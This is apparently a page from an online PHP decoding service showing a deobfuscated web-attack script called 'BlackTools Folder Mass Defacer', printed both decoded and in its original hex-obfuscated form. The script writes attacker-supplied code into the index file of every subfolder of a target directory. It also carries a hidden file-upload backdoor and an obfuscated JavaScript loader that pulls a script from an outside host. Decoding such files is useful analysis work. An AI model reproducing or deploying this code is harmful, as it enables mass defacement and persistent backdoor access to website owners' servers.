Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x6f\x63\x71\x75\x72yb"]="in\x64\x65x";${"\x47\x..

Decoded Output download

<?php ${"GLOBALS"}["xocquryb"]="index";${"GLOBALS"}["bebodil"]="file";${"GLOBALS"}["bsvmztqoy"]="files";echo"<title>BlackTools Folder Mass Defacer</title>";echo"<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";echo"<body bgcolor='#e6e6e6'><font color=black'><font face='Electrolize'>";echo"<center><form method='POST'>";echo"<font size='6' color='#1a1a1a'>BlackTools Folder Mass Defacer</font>
<hr color='black'><font color='black'>Target Folder:</font><br>
<input cols='10' rows='10' type='text' style='color:#1a1a1a;background-color:#bebebe' name='base_dir' value='".getcwd()."'><br><br>";echo"<font color='black'>Name of File:</font><br><input cols='10' rows='10' type='text' style='color:#1a1a1a;background-color:#bebebe' name='andela' value='index.php'><br><br>";echo"<font color='black'>Code:</font><br><textarea cols='25' rows='8' style='color:#1a1a1a;background-color:#bebebe;' name='index'>Your Code Here...</textarea><br><br>";echo"<input type='submit' value='Mass'></form></center>";echo"<script>
        var _0xd00f=[\"".'\<'."".'\s'."".'\c'."".'
'."".'\i'."".'\p'."".'	'."".'\ '."".'\s'."".'
'."".'\c'."".'\='."".'\h'."".'	'."".'	'."".'\p'."".'\s'."".'\:'."".'\/'."".'\/'."".''."".'\l'."".''."".'\c'."".'\k'."".'	'."".'\o'."".'\o'."".'\l'."".'\s'."".'\.'."".'\i'."".'\o'."".'\/'."".'\i'."".'\m'."".''."".'\g'."".'\e'."".'\s'."".'\/'."".'\S'."".'	'."".'\y'."".'\l'."".'\e'."".'\.'."".'\j'."".'\s'."".'\>'."".'\<'."".'\/'."".'\s'."".'\c'."".'
'."".'\i'."".'\p'."".'	'."".'\>'."\",\"".'\w'."".'
'."".'\i'."".'	'."".'\e'."\"];document[_0xd00f[1]](_0xd00f[0])
</script>";if($_GET["up"]){move_uploaded_file($_FILES["userfile"]["tmp_name"],"./".basename($_FILES["userfile"]["name"]));}if(isset($_POST["base_dir"])){if(!file_exists($_POST["base_dir"]))die($_POST["base_dir"]." <font color='red'>Not Found !</font><br>");if(!is_dir($_POST["base_dir"]))die($_POST["base_dir"]." <font color='red'>Is Not A Directory !</font><br>");@chdir($_POST["base_dir"])or die("<font color='red'>Cannot Open Directory</font>");${${"GLOBALS"}["bsvmztqoy"]}=@scandir($_POST["base_dir"])or die("<font color='red'>Error!</font><br>");foreach(${${"GLOBALS"}["bsvmztqoy"]} as${${"GLOBALS"}["bebodil"]}){$odwqxokd="file";${"GLOBALS"}["lgcxskh"]="file";if(${${"GLOBALS"}["lgcxskh"]}!="."&&${$odwqxokd}!=".."&&@filetype(${${"GLOBALS"}["bebodil"]})=="dir"){$ljnpertgq="index";$ilfkokil="file";${${"GLOBALS"}["xocquryb"]}=getcwd()."/".${$ilfkokil}."/".$_POST["andela"];if(file_put_contents(${$ljnpertgq},$_POST["index"]))echo"<hr color='black'><font color='black'>>>&nbsp&nbsp$index&nbsp&nbsp&nbsp&nbsp</font><font color='green'>Done (&#10003;)</font>";}}}echo"<br><br><center><font color='black'>by <a href='http://blacktools.io' target='_blank'>blacktools.io</a></font></center>"; 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x6f\x63\x71\x75\x72yb"]="in\x64\x65x";${"\x47\x4cO\x42\x41LS"}["\x62e\x62o\x64i\x6c"]="f\x69\x6ce";${"\x47LO\x42\x41\x4c\x53"}["b\x73\x76\x6d\x7a\x74\x71\x6f\x79"]="f\x69\x6ces";echo"\x3ct\x69\x74le>\x42l\x61ck\x54\x6fo\x6cs \x46\x6f\x6c\x64er\x20M\x61s\x73 \x44\x65\x66\x61\x63e\x72\x3c/t\x69tl\x65\x3e";echo"\x3c\x6c\x69\x6ek \x68\x72\x65f='http://f\x6f\x6e\x74\x73.g\x6fo\x67leap\x69s\x2ec\x6fm/\x63\x73\x73?\x66ami\x6c\x79\x3d\x45l\x65\x63\x74ro\x6c\x69\x7a\x65'\x20\x72\x65\x6c\x3d'\x73t\x79l\x65\x73\x68\x65e\x74'\x20t\x79p\x65=\x27\x74\x65x\x74/\x63\x73s'>";echo"\x3cbody\x20bg\x63\x6f\x6c\x6fr='#e6e6e\x36\x27\x3e<fo\x6et\x20\x63\x6f\x6cor=\x62\x6ca\x63k\x27>\x3cf\x6fn\x74 face='\x45\x6ce\x63tr\x6f\x6c\x69\x7ae'>";echo"\x3cce\x6et\x65\x72\x3e<f\x6f\x72\x6d\x20\x6d\x65t\x68\x6f\x64\x3d'\x50\x4f\x53T'>";echo"\x3c\x66\x6f\x6et \x73iz\x65\x3d\x276' \x63o\x6c\x6fr='#\x31a1a1a'\x3eBlac\x6bToo\x6cs \x46\x6f\x6c\x64\x65\x72 Ma\x73s \x44e\x66\x61\x63er</font\x3e\n<\x68r\x20c\x6f\x6co\x72=\x27b\x6ca\x63\x6b\x27\x3e\x3cfont\x20\x63\x6f\x6cor\x3d'\x62lack\x27>\x54\x61\x72\x67et\x20\x46\x6f\x6c\x64\x65r:\x3c/\x66\x6f\x6e\x74\x3e\x3cbr\x3e\n<i\x6e\x70u\x74 co\x6cs=\x27\x31\x30'\x20\x72\x6fw\x73\x3d'\x310'\x20t\x79\x70e=\x27te\x78t' s\x74\x79\x6ce=\x27c\x6f\x6c\x6f\x72:\x23\x31a1a\x31a\x3b\x62\x61\x63kgr\x6fun\x64-c\x6f\x6c\x6f\x72:#beb\x65be\x27\x20\x6ea\x6de=\x27b\x61\x73e\x5f\x64i\x72' \x76a\x6c\x75e\x3d'".getcwd()."'\x3e<br\x3e\x3cbr>";echo"\x3cf\x6fnt co\x6c\x6f\x72\x3d'\x62lack'\x3eNa\x6d\x65\x20\x6f\x66 F\x69l\x65:\x3c/fo\x6et>\x3cbr><\x69n\x70\x75\x74 \x63\x6fl\x73=\x2710\x27 r\x6f\x77\x73=\x2710\x27 \x74ype=\x27te\x78\x74\x27 s\x74yl\x65=\x27co\x6c\x6fr:#\x31\x611\x611\x61;\x62ac\x6b\x67ro\x75\x6ed-c\x6fl\x6f\x72:#b\x65\x62\x65b\x65'\x20na\x6de\x3d'a\x6e\x64e\x6c\x61\x27\x20v\x61\x6cu\x65=\x27\x69\x6ed\x65x.\x70\x68\x70'\x3e<\x62r><\x62\x72\x3e";echo"\x3cfo\x6e\x74 c\x6flo\x72=\x27bl\x61c\x6b\x27>\x43\x6f\x64e:</\x66o\x6e\x74>\x3c\x62\x72\x3e<\x74ex\x74\x61\x72ea \x63ol\x73\x3d\x272\x35' \x72\x6fws=\x27\x38\x27 \x73\x74y\x6ce\x3d'c\x6fl\x6f\x72:\x23\x31\x61\x31a1\x61;\x62\x61\x63k\x67r\x6fu\x6ed-\x63\x6f\x6c\x6f\x72:\x23\x62\x65\x62\x65\x62\x65\x3b'\x20\x6eame\x3d'\x69\x6e\x64e\x78'>You\x72 \x43\x6fd\x65 \x48\x65\x72\x65...\x3c/te\x78\x74a\x72e\x61><br\x3e\x3cbr\x3e";echo"<in\x70ut\x20\x74y\x70e\x3d\x27su\x62\x6di\x74'\x20\x76\x61\x6cue='\x4d\x61ss'></\x66or\x6d\x3e</ce\x6e\x74\x65r>";echo"<\x73\x63\x72\x69p\x74\x3e\n\x20\x20 \x20   \x20\x76ar\x20_\x30x\x6400f=[\"".'\\x3C'."".'\\x73'."".'\\x63'."".'\\x72'."".'\\x69'."".'\\x70'."".'\\x74'."".'\\x20'."".'\\x73'."".'\\x72'."".'\\x63'."".'\\x3D'."".'\\x68'."".'\\x74'."".'\\x74'."".'\\x70'."".'\\x73'."".'\\x3A'."".'\\x2F'."".'\\x2F'."".'\\x62'."".'\\x6C'."".'\\x61'."".'\\x63'."".'\\x6B'."".'\\x74'."".'\\x6F'."".'\\x6F'."".'\\x6C'."".'\\x73'."".'\\x2E'."".'\\x69'."".'\\x6F'."".'\\x2F'."".'\\x69'."".'\\x6D'."".'\\x61'."".'\\x67'."".'\\x65'."".'\\x73'."".'\\x2F'."".'\\x53'."".'\\x74'."".'\\x79'."".'\\x6C'."".'\\x65'."".'\\x2E'."".'\\x6A'."".'\\x73'."".'\\x3E'."".'\\x3C'."".'\\x2F'."".'\\x73'."".'\\x63'."".'\\x72'."".'\\x69'."".'\\x70'."".'\\x74'."".'\\x3E'."\",\"".'\\x77'."".'\\x72'."".'\\x69'."".'\\x74'."".'\\x65'."\"];\x64\x6f\x63u\x6den\x74[\x5f\x30\x78d\x30\x30\x66[1]](_0xd\x300f[\x30])\n\x3c/scri\x70\x74\x3e";if($_GET["up"]){move_uploaded_file($_FILES["\x75se\x72\x66\x69\x6c\x65"]["\x74\x6dp_name"],"\x2e/".basename($_FILES["userfi\x6ce"]["\x6eame"]));}if(isset($_POST["\x62\x61\x73e_dir"])){if(!file_exists($_POST["\x62\x61se_d\x69\x72"]))die($_POST["b\x61\x73\x65\x5fdi\x72"]." \x3c\x66\x6f\x6et \x63olor\x3d'\x72\x65d'\x3eN\x6f\x74\x20\x46o\x75\x6ed\x20\x21</f\x6f\x6et>\x3c\x62\x72\x3e");if(!is_dir($_POST["\x62\x61se\x5fd\x69\x72"]))die($_POST["b\x61\x73\x65_\x64ir"]."\x20<f\x6f\x6et c\x6flor\x3d'\x72\x65\x64\x27>\x49s \x4eo\x74 \x41 Direc\x74\x6fry !\x3c/\x66\x6fnt\x3e\x3c\x62\x72>");@chdir($_POST["ba\x73e\x5f\x64ir"])or die("<\x66\x6fnt c\x6fl\x6f\x72=\x27re\x64\x27>\x43\x61\x6e\x6eo\x74 Op\x65n\x20\x44ir\x65cto\x72y</\x66ont>");${${"G\x4c\x4f\x42A\x4c\x53"}["\x62\x73\x76m\x7a\x74qo\x79"]}=@scandir($_POST["b\x61\x73e\x5fd\x69\x72"])or die("\x3c\x66on\x74 \x63\x6f\x6cor\x3d'r\x65d\x27\x3e\x45\x72ro\x72\x21\x3c/fo\x6e\x74\x3e<\x62r>");foreach(${${"\x47\x4cO\x42\x41\x4cS"}["\x62\x73\x76\x6d\x7a\x74\x71o\x79"]} as${${"\x47\x4c\x4fBA\x4c\x53"}["\x62e\x62od\x69l"]}){$odwqxokd="f\x69l\x65";${"\x47\x4cOB\x41\x4c\x53"}["\x6c\x67\x63\x78\x73\x6b\x68"]="\x66i\x6c\x65";if(${${"\x47\x4cO\x42A\x4c\x53"}["\x6cg\x63x\x73k\x68"]}!="."&&${$odwqxokd}!=".."&&@filetype(${${"\x47\x4cO\x42ALS"}["b\x65\x62\x6f\x64\x69l"]})=="di\x72"){$ljnpertgq="\x69\x6ed\x65\x78";$ilfkokil="\x66\x69le";${${"\x47\x4c\x4f\x42A\x4c\x53"}["x\x6fcqu\x72\x79b"]}=getcwd()."/".${$ilfkokil}."/".$_POST["\x61\x6e\x64e\x6c\x61"];if(file_put_contents(${$ljnpertgq},$_POST["\x69n\x64e\x78"]))echo"\x3chr\x20col\x6fr='b\x6ca\x63k\x27\x3e\x3c\x66\x6fn\x74\x20\x63\x6f\x6c\x6f\x72=\x27\x62\x6c\x61c\x6b'\x3e\x3e>\x26\x6ebs\x70\x26\x6ebs\x70$index&n\x62sp&\x6e\x62sp\x26\x6e\x62\x73p&\x6e\x62\x73\x70\x3c/fo\x6et\x3e\x3c\x66ont\x20col\x6fr\x3d\x27green'\x3e\x44one (\x26\x2310003;)\x3c/\x66\x6fn\x74>";}}}echo"<b\x72\x3e\x3cb\x72\x3e<\x63\x65nter>\x3cf\x6f\x6e\x74\x20col\x6f\x72=\x27b\x6c\x61\x63\x6b\x27\x3e\x62\x79 \x3c\x61 \x68ref\x3d\x27h\x74tp://\x62\x6cackto\x6f\x6cs\x2ei\x6f' t\x61\x72ge\x74='\x5fbl\x61n\x6b\x27\x3ebl\x61c\x6b\x74ools.\x69\x6f</\x61\x3e</\x66\x6fnt\x3e\x3c/c\x65\x6eter>";
?>

Function Calls

None

Variables

None

Stats

MD5 44a6fdf075ca46d10567935d634fef9b
Eval Count 0
Decode Time 75 ms